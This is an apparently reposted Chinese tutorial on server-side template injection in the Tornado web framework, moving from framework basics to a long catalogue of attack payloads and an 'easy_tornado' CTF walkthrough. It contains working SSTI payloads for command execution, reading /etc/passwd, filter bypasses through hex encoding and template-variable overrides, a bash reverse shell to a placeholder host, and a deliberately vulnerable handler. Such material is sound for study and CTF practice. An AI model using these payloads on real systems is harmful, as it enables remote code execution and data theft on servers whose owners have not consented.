Tornado模板注入漏洞
组成结构:
Tornado 大致提供了三种不同的组件:
-
Web 框架
-
HTTP 服务端以及客户端
-
异步的网络框架,可以用来实现其他网络协议
这里简单介绍一下异步是什么:
-
说到异步,肯定会联系出来它的孪生兄弟–同步(Synchronous),”同步模式”就是上一段的模式,后一个任务等待前一个任务结束,然后再执行,程序的执行顺序与任务的排列顺序是一致的、同步的.
-
“异步模式”则完全不同,每一个任务有一个或多个回调函数(callback),前一个任务结束后,不是执行后一个任务,而是执行回调函数,后一个任务则是不等前一个任务结束就执行,所以程序的执行顺序与任务的排列顺序是不一致的、异步的。 “异步模式”非常重要。
异步的用处:
-
在浏览器端,耗时很长的操作都应该异步执行,避免浏览器失去响应。这样可以大大缩小服务器处理问题的时间。
框架使用:
#!/usr/bin/env python
# _*_ coding:utf-8 _*_
__author__ = "charles"
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
# self.write("Hello, world")
self.render("s1.html")
def post(self, *args, **kwargs): #表单以post方式提交
self.write("hello world")
settings = {
"template_path":"template", #模版路径的配置
"static_path":'static', #静态文件配置
}
#路由映射,路由系统
application = tornado.web.Application([ #创建对象
(r"/index", MainHandler),
],**settings) #将settings注册到路由系统,这样配置才会生效
if __name__ == "__main__":
application.listen(8888) #创建socket,一直循环
tornado.ioloop.IOLoop.instance().start() #使用epoll,io多路复用
RequestHandler常用方法:
-
初始化handler类接收参数的方法initialize:
def initialize(self, db):
# 初始化handler类接收参数的过程
self.db = db
-
用于真正调用请求处理之前的初始化方法prepare:
def prepare(self):
# 用于真正调用请求处理之前的初始化方法
# 如:打印日志,打开文件
pass
-
关闭句柄,清理内存on_finish:
def on_finish(self):
# 关闭句柄,清理内存
pass
http 请求方法:
def get(self, *args, **kwargs):
pass
def post(self, *args, **kwargs):
pass
def delete(self, *args, **kwargs):
pass
def patch(self, *args, **kwargs):
pass
获取参数输入内容的方法:
def get(self, *args, **kwargs):
"""
get_query_argument 和 get_query_arguments 为获取get请求参数的方法
如果name不存在就会抛出400异常
:param args:
:param kwargs:
:return:
"""
# 获取的是字符串,默认取最后一个name的值
self.get_query_argument("name")
# 获取的是列表,存放所有的name的值
self.get_query_arguments("name")
def post(self, *args, **kwargs):
"""
get_argument 和 get_arguments 为获取post请求参数的方法
:param args:
:param kwargs:
:return:
"""
# 获取的是字符串,取最后一个name的值
data1 = self.get_argument("name")
# 获取的是列表,如果url后边跟上name参数会将该name参数的值也放入列表中
data2 = self.get_arguments("name")
# 获取所有的参数
data3 = self.request.arguments
# 如果请求没有传递headers = {
# "Content-type": "application/x-www-form-urlencoded;",
# }
# 获取json数据, 我们必须先从body中获取参数解码,然后转换为dict对象
# 才能调用get_body_argument 和 get_body_arguments 方法获取json参数
# 如果请求头传递了headers,我们可以直接使用get_body_argument获取参数
param = self.request.body.decode('utf-8')
json_data = json.loads(param)
data4 = self.get_body_argument("name")
data5 = self.get_body_arguments("name")
输出内容的方法:
设置异常状态码set_status:
try:
data4 = self.get_body_argument("name")
data5 = self.get_body_arguments("name")
except Exception as e:
self.set_status(500)
输出至浏览器显示方法write,因为tornado为长连接,所以可以连续写多个write方法,将内容连接起来:
def get(self, *args, **kwargs):
self.write("hello")
self.write("world")
模板语法:
import tornado.template as template
payload = "{{1+1}}"
print(template.Template(payload).generate())
我们通过这个简单代码,来看一看代码都是如何来进行执行的。一下是参考了官方文档和Tr0y师傅的文章总结出来的语法内容,因为我们重点关注的是注入攻击,所以主要学习一下构造payload时候,使用到的语法:
-
{{ ... }}
:里面直接写 python 语句即可,没有经过特殊的转换。默认输出会经过 html 编码 -
{% ... %}
:内置的特殊语法,有以下几种规则 -
{# ... #}
:注释 -
{% comment ... %}
:注释 -
{% apply *function* %}...{% end %}
:用于执行函数,
function
是函数名。apply
到end
之间的内容是函数的参数 -
{% autoescape *function* %}
:用于设置当前模板文件的编码方式。
-
{% block *name* %}...{% end %}
:引用定义过的模板段,通常来说会配合
extends
使用。感觉block
同时承担了定义和引用的作用,这个行为不太好理解,比较奇怪。比如{% block name %}a{% end %}{% block name %}b{% end %}
的结果是bb
… -
{% extends *filename* %}
:将模板文件引入当前的模板,配合
block
使用。使用extends
的模板是比较特殊的,需要有 template loader,以及如果要起到继承的作用,需要先在加载被引用的模板文件,然后再加载引用的模板文件 -
{% for *var* in *expr* %}...{% end %}
:等价与 python 的 for 循环,可以使用
{% break %}
和{% continue %}
-
{% from * import * %}
:等价与 python 原始的
import
-
{%if%}...{%elif%}...{%else%}...{%end%}
:等价与 python 的
if
-
{% import *module* %}
:等价与 python 原始的import
-
{% include *filename* %}
:与手动合并模板文件到
include
位置的效果一样(autoescape
是唯一不生效的例外) -
{% raw *expr* %}
:常规的模板语句,只是输出不会被转义
-
{% set *x* = *y* %}
:创建一个局部变量
-
{% try %}...{% except %}...{% else %}...{% finally %}...{% end %}
:等同于 python 的异常捕获相关语句
-
{% while *condition* %}... {% end %}
:等价与 python 的 while 循环,可以使用
{% break %}
和{% continue %}
-
{% whitespace *mode* %}
:设定模板对于空白符号的处理机制,有三种:
all
– 不做修改、single
– 多个空白符号变成一个、oneline
– 先把所有空白符变成空格,然后连续空格变成一个空格 -
apply的内置函数列表:
-
linkify
:把链接转为 html 链接标签(<a href="...
) -
squeeze
:作用与{% whitespace oneline %}
一样 -
autoescape的内置函数列表:
-
xhtml_escape
:html 编码 -
json_encode
:转为 json -
url_escape
:url 编码 -
其他函数(需要在 settings 中指定)
-
xhtml_unescape
:html 解码 -
url_unescape
:url 解码 -
json_decode
:解开 json -
utf8
:utf8 编码 -
to_unicode
:utf8 解码 -
native_str
:utf8 解码 -
to_basestring
:历史遗留功能,现在和to_unicode
是一样的作用 -
recursive_unicode
:把可迭代对象中的所有元素进行to_unicode
模板渲染:
Tornado 中模板渲染函数在有两个
-
render
-
render_string
render_string:通过模板文件名加载模板,然后更新模板引擎中的命名空间,添加一些全局函数或其他对象,然后生成并返回渲染好的 html内容
render:依次调用render_string
及相关渲染函数生成的内容,最后调用 finish 直接输出给客户端。
我们跟进模板引擎相关类看看其中的实现。
Tornado render
是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
简单的理解例子如下:
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.render('index.html')
class LoginHandler(BaseHandler):
def get(self):
# self.set_cookie()
# self.get_cookie()
self.render('login.html', **{'status': ''})
def login(request):
#获取用户输入
login_form = AccountForm.LoginForm(request.POST)
if request.method == 'POST':
#判断用户输入是否合法
if login_form.is_valid():#如果用户输入是合法的
username = request.POST.get('username')
password = request.POST.get('password')
if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password:
request.session['auth_user'] = username
return redirect('/index/')
else:
return render(request,'account/login.html',{'model': login_form,'backend_autherror':'用户名或密码错误'})
else:
error_msg = login_form.errors.as_data()
return render(request,'account/login.html',{'model': login_form,'errors':error_msg})
# 如果登录成功,写入session,跳转index
return render(request, 'account/login.html', {'model': login_form}
由上面可知:render是一个类似模板的东西,可以使用不同的参数来访问网页,所以render其实就是Tornado的一个工具。
注入攻击:
SSTI in tornado.template:
常规手法:
Tornado中SSTI 手法基本上兼容 jinja2、mako 的 SSTI 手法,思路非常灵活:
{{ __import__("os").system("whoami") }}
{% apply __import__("os").system %}id{% end %}
{% raw __import__("os").system("whoami") %}
攻击方式:
先来写个测试用例:
import tornado.ioloop
import tornado.web
from tornado.template import Template
class IndexHandler(tornado.web.RequestHandler):
def get(self):
tornado.web.RequestHandler._template_loaders = {}#清空模板引擎
with open('index.html', 'w') as (f):
f.write(self.get_argument('name'))
self.render('index.html')
app = tornado.web.Application(
[('/', IndexHandler)],
)
app.listen(8888, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()
解释一下这串代码是什么意思:
这段代码使用 Tornado 框架创建了一个 Web 应用,监听本地地址 127.0.0.1 的端口 8888。当用户访问该应用的根路径时,会执行 IndexHandler 类的 get 方法。
在 get 方法中,将请求参数中的 name 参数写入一个名为 index.html 的文件中,并使用 Tornado 的模板引擎将该文件渲染为 HTML 页面返回给用户。
需要注意的是,该代码使用了一个特殊的方式来清空模板引擎的缓存,即将 _template_loaders 属性设置为空字典,这可能是为了避免在开发过程中因为模板缓存而导致修改无效的问题。
对于 Tornado 来说,一旦 self.render
之后,就会实例化一个 tornado.template.Loader
,这个时候再去修改文件内容,它也不会再实例化一次。所以这里需要把 tornado.web.RequestHandler._template_loaders
清空。否则在利用的时候,会一直用的第一个传入的 payload。
这种写法会新引入变量:
1. request:即 tornado.httputil.HTTPServerRequest,下面的属性都是与 http 请求相关的
2. handler:tornado.web.RequestHandler的示例。表示当前请求的 url 是谁处理的,比如这个代码来说,handle 就是 IndexHandler。它下面有很多属性可以利用。
所以 Tornado 中,tornado.httputil.HTTPServerRequest
和 tornado.web.RequestHandler
是非常重要的类。它们拥有非常多的属性,在 SSTI 相关的知识点中,我们需要熟练掌握这些属性的作用。
利用 HTTPServerRequest:
为了方便下面把 tornado.httputil.HTTPServerRequest
的实例称为 request
。
注意,由于属性非常多,属性自己也还有属性。所以这部分我只列了一些我感觉会用到的属性,肯定不全,有特殊需求的话需要自行进行挖掘。
绕过字符限制:
-
request.query
:包含 get 参数 -
request.query_arguments
:解析成字典的 get 参数,可用于传递基础类型的值(字符串、整数等) -
request.arguments
:包含 get、post 参数 -
request.body
:包含 post 参数 -
request.body_arguments
:解析成字典的 post 参数,可用于传递基础类型的值(字符串、整数等) -
request.cookies
:就是 cookie -
request.files
:上传的文件 -
request.headers
:请求头 -
request.full_url
:完整的 url -
request.uri
:包含 get 参数的 url。有趣的是,直接str(requests)
然后切片,也可以获得包含 get 参数的 url。这样的话不需要.
或者getattr
之类的函数了。 -
request.host
:Host 头 -
request.host_name
:Host 头
{{request.method}} //返回请求方法名 GET|POST|PUT...
{{request.query}} //传入?a=123 则返回a=123
{{request.arguments}} //返回所有参数组成的字典
{{request.cookies}} //同{{handler.cookies}}
回显结果
-
request.connection.write
-
request.connection.stream.write
-
request.server_connection.stream.write
例如:
{%raw request.connection.write(("HTTP/1.1 200 OKrnCMD: "+__import__("os").popen("id").read()).encode()+b"hacked: ")%}'
利用 Application:
主要用于攻击的有这几个属性:
- Application.settings:web 服务的配置,可能会泄露一些敏感的配置
- Application.add_handlers:新增一个服务处理逻辑,可用于制作内存马,后面会一起说
- Application.wildcard_router.add_rules:新增一个 url 处理逻辑,可用于制作内存马
- Application.add_transform:新增一个返回数据的处理逻辑,理论上可以配合响应头来搞个内存马
利用 RequestHandler:
为了方便下面把 tornado.web.RequestHandler
称为 handler
。需要注意的是,handler 是有 request
属性的,所以理论上 handler 要比 request 实用。
{{handler.get_argument('yu')}} //比如传入?yu=123则返回值为123
{{handler.cookies}} //返回cookie值
{{handler.get_cookie("data")}} //返回cookie中data的值
{{handler.decode_argument('u0066')}} //返回f,其中u0066为f的unicode编码
{{handler.get_query_argument('yu')}} //比如传入?yu=123则返回值为123
{{handler.settings}} //比如传入application.settings中的值
绕过字符限制:
-
RequestHandler.request.*
:参考利用HTTPServerRequest
那节 -
其他和 request 一样的方法:例如
get_argument
等等,就不一一列举了,可以参考官方文档
回显结果:
- RequestHandler.set_cookie:设置 cookie
- RequestHandler.set_header:设置一个新的响应头
- RequestHandler.redirect:重定向,可以通过 location 获取回显
- RequestHandler.send_error:发送错误码和错误信息
- RequestHandler.write_error:同上,被 `send_error` 调用
绕过:
global()函数全局调用&绕过_
:
我们可以发现在tornado中是可以直接使用global()函数的,更令我们兴奋的是竟然可以直接调用一些python的初始方法,比如import、eval、print、hex等,这下似乎我们的payload可以更加简洁了
{{__import__("os").popen("ls").read()}}
{{eval('__import__("os").popen("ls").read()')}}
其中第二种方法更多的是为了我们刚才讲到的目的,绕过对_
的过滤。
{{eval(handler.get_argument('yu'))}}
?yu=__import__("os").popen("ls").read()
绕过.
:
因为tornado中没有过滤器,这样的话我们想要绕过对于.的过滤就有些困难了。而如果想要绕过对于引号的过滤,可以将上面的payload改成如下格式
{{eval(handler.get_argument(request.method))}}
然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理
无过滤payload :
1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}
2、 直接使用函数
{{__import__("os").popen("ls").read()}}
{{eval('__import__("os").popen("ls").read()')}}
3、导入库
{% import os %}{{os.popen("ls").read()}}
4、flask中的payload大部分也通用
{{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{{"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class
5、利用tornado特有的对象或者方法
{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}
6、利用tornado模板中的代码注入
{% raw "__import__('os').popen('ls').read()"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}}
过滤payload:
1.过滤一些关键字如import、os、popen等(过滤引号该方法同样适用)
{{eval(handler.get_argument(request.method))}}
然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理
2.过滤了括号未过滤引号
{% raw "x5fx5fx69x6dx70x6fx72x74x5fx5fx28x27x6fx73x27x29x2ex70x6fx70x65x6ex28x27x6cx73x27x29x2ex72x65x61x64x28x29"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}}
3.过滤括号及引号
下面这种方法无回显,适用于反弹shell,为什么用exec不用eval呢?
是因为eval不支持多行语句。
__import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a _tt_utf8=exec%}&%0a"""
4.其他
通过参考其他师傅的文章学到了下面的方法(两个是一起使用的)
{{handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{{handler.application.default_router.named_rules['345'].target('/readflag').read()}}
实战:
easy_tornado render:
题目一开始给了三个文件的链接,flag.txt中提供了flag所在的文件夹,welcome文件提供了render关键词,hints.txt提供了一个计算公式在地址栏中显示了一个filehash的值,
md5(cookie_secret+md5(filename))
所以逻辑上应该是我们利用计算出来的文件签名的hash值,来访问flag.txt对应的提示文件,就可以得到flag
所以我们现在主要的目标就是寻找cookie密钥,然后下一步就要关注给我们的提示了:render在模板注入中Tornado框架下有一个模板渲染就是render,所以我们把目光放在Tornado上面,当我们直接访问/fllllllllag时,会出现这个msg=error这个页面。
所以我们在这里可以尝试进行模板注入:
这里{{handler.application.settings}}
或者{{handler.settings}}
就可获得settings
中的cookie_secret。
import hashlib
def md5encode(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
name = '/fllllllllllllag'
secret = '9fdfa0bb-bf87-4cc8-9126-e00e9123222a'
name = name.encode()
bb = md5encode((secret + md5encode(name)).encode())
print(bb)
参考文章:
https://blog.csdn.net/qq_37788081/article/details/79263867
https://blog.csdn.net/qq_45951598/article/details/111312370
(13条消息) tornado模板注入_tornado 模板注入_yu22x的博客-CSDN博客
SecMap – SSTI(Tornado) – Tr0y’s Blog
来源:先知社区的【Ic4_F1ame 】师傅
注:如有侵权请联系删除
如需进群进行技术交流,请扫该二维码
原文始发于微信公众号(衡阳信安):Tornado模板注入